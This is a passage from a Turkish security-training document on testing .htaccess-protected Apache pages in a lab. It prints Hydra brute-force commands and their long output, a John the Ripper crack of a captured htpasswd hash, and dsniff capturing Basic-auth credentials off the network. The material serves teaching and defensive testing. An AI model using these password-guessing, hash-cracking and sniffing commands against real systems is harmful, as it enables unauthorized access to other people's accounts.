  • 5. Apache Htaccess Güvenlik Testleri ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: zzzzzzy (4407 of 4417 complete) ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: zzzzzzz (4408 of 4417 complete) ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: zzzzzzz (4409 of 4417 complete) ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: zzzzzzzthis (4410 of 4417 complete) ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: zzzzzzzz (4411 of 4417 complete) ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: zzzzzzzz (4412 of 4417 complete) ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: zzzzzzzzzz (4413 of 4417 complete) ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: zzzzzzzzzzzzz (4414 of 4417 complete) ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: zzzzzzzzzzzzzzzzzz (4415 of 4417 complete) ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: {log} (4416 of 4417 complete) ACCOUNT CHECK: [http] Host: 10.10.10.1 (1 of 1, 0 complete) User: bga (1 of 1, 0 complete) Password: 0u7b00k (4417 of 4417 complete) ACCOUNT FOUND: [http] Host: 10.10.10.1 User: bga Password: 0u7b00k [SUCCESS] Hydra kullanarak .htaccess korumalı sayfaların parolasını bulma # hydra -l bga -P bga-wordlist22 -f 10.10.10.1 http-get /test -vV Hydra v5.4 (c) 2006 by van Hauser / THC - use allowed only for legal purposes. Hydra (http://www.thc.org) starting at 2010-11-28 11:16:43 [DATA] 16 tasks, 1 servers, 4417 login tries (l:1/p:4417), ~276 tries per task [DATA] attacking service http-get on port 80 ... ... [ATTEMPT] target 10.10.10.1 - login "bga" - pass "01214nd0" - child 26 - 675 of 4417 [ATTEMPT] target 10.10.10.1 - login "bga" - pass "0123" - child 27 - 676 of 4417 [ATTEMPT] target 10.10.10.1 - login "bga" - pass "012301279x" - child 28 - 677 of 4417 [ATTEMPT] target 10.10.10.1 - login "bga" - pass "012307120chi1u5" - child 29 - 678 of 4417 Bilgi Güvenliği AKADEMİSİ|www.bga.com.tr | Apache Htaccess Korumalı 4 Sayfaların Güvenlik Testleri
  • 6. Apache Htaccess Güvenlik Testleri [ATTEMPT] target 10.10.10.1 - login "bga" - pass "0123071246in3" - child 0 - 679 of 4417 [ATTEMPT] target 10.10.10.1 - login "bga" - pass "0123071246u5" - child 1 - 680 of 4417 [ATTEMPT] target 10.10.10.1 - login "bga" - pass "01230c41294" - child 2 - 681 of 4417 [ATTEMPT] target 10.10.10.1 - login "bga" - pass "01230d0n" - child 3 - 682 of 4417 [ATTEMPT] target 10.10.10.1 - login "bga" - pass "01230d0n7" - child 4 - 683 of 4417 [ATTEMPT] target 10.10.10.1 - login "bga" - pass "01230d0n70id" - child 5 - 684 of 4417 [ATTEMPT] target 10.10.10.1 - login "bga" - pass "01230d0n7id43" - child 6 - 685 of 4417 [ATTEMPT] target 10.10.10.1 - login "bga" - pass "01230d0n7in3" - child 7 - 686 of 4417 [ATTEMPT] target 10.10.10.1 - login "bga" - pass "01230d0x4" - child 8 - 687 of 4417 [ATTEMPT] target 10.10.10.1 - login "bga" - pass "01230ph45i5" - child 9 - 688 of 4417 [ATTEMPT] target 10.10.10.1 - login "bga" - pass "01230ph45in3" - child 10 - 689 of 4417 [ATTEMPT] target 10.10.10.1 - login "bga" - pass "01230ph45in43" - child 11 - 690 of 4417 [STATUS] attack finished for 10.10.10.1 (waiting for childs to finish) [80][www] host: 10.10.10.1 login: bga password: 0u7b00k [ATTEMPT] target 10.10.10.1 - login "bga" - pass "0u7b00k" - child 3 - 4417 of 4417 Hydra (http://www.thc.org) finished at 2010-11-28 11:19:33 Her iki araç da hemen hemen aynı hızlarda parola deneme işlemi yapabiliyor. Her iki aracın da performansı sunucu kapasitesi, yapılandırımı ve bant genişliğiyle orantılıdır. Parola tahmin işlemi bittikten sonra bulunan parola ve kullanıcı adı bilgileri kullanılarak hedef sistemdeki korunmuş sayfalara erişilebilir [Resim-2]. Resim-2 Bilgi Güvenliği AKADEMİSİ|www.bga.com.tr | Apache Htaccess Korumalı 5 Sayfaların Güvenlik Testleri
  • 7. Apache Htaccess Güvenlik Testleri Ele geçirilmiş htaccess parolalarını kırma Htaccess korumalı alanların güvenliğini tehlikeye sokacak durumlardan biri de .htaccess dosyasının başkalarının eline geçmesidir. Eğer .htaccess ile korunan alana IP yasaklama yoksa, yani sadece kullanıcı/parola bilgileriyle erişilebiliyorsa bu dosyanın güvenliğinin önemi daha da artmaktadır. Htaccess dosyasını ele geçiren bir saldırgan John The Ripper parola kırma aracını kullarak çok kısa sürede hesap bilgilerinin açık hallerine ulaşabilir. root@cybosec# john /tmp/htpasswd -w:/root/bt4-password.txt Loaded 1 password hash (Traditional DES [128/128 BS SSE2]) zorparol (bga) guesses: 1 time: 0:00:00:01 100.00% (ETA: Sun Nov 28 11:25:04 2010) c/s: 1301K trying: zzttdai - zorparol JTR saniyede ortalama 1.3 milyon deneme yaparak htaccess ile koruduğumuz sayfaya ait parola bilgisini kırmayı başardı. Ağ trafiğinde dinleme yoluyla parola bulma Htaccess korumalı sayfalara http üzerinden erişim sağlanıyorsa aradaki hattın güvenilir olması çok önemlidir. http şifrelenmemiş bir protokol olduğu için arada gidip gelen tüm veriler meraklı gözler tarafından okunabilir. Aşağıdaki çıktı basit bir sniffer yazılımı kullanarak htaccess ile korunan alanlara erişen hesap bilgileri rahatlıkla yakalanabileceğini göstermektedir. root@bt# dsniff dsniff: listening on eth0 ----------------11/28/10 11:26:33 tcp 10.10.10.65.1642 -> 10.10.10.1.80 (http) GET /test/ HTTP/1.1 Host: 10.10.10.1 Authorization: Basic YmdhOmFh [bga:aa] GET /test/ HTTP/1.1 Host: 10.10.10.1 Authorization: Basic YmdhOnpvcnBhcm9sYQ== [bga:zorparola] Bilgi Güvenliği AKADEMİSİ|www.bga.com.tr | Apache Htaccess Korumalı 6 Sayfaların Güvenlik Testleri
  • 8. Apache Htaccess Güvenlik Testleri Ek-1: Testlerde kullanılan .htaccess dosyası içeriği AuthUserFile /tmp/passwd AuthType Basic AuthName "Gisli Bölge" require valid-user Ek-2: .htaccess için kullanılan parola dosyası. /tmp/passwd dosyasının içeriği bga:lQhJL2Hif1V0Q [1]HtAccess bypass-friendfeed. Bilgi Güvenliği AKADEMİSİ|www.bga.com.tr | Apache Htaccess Korumalı 7 Sayfaların Güvenlik Testleri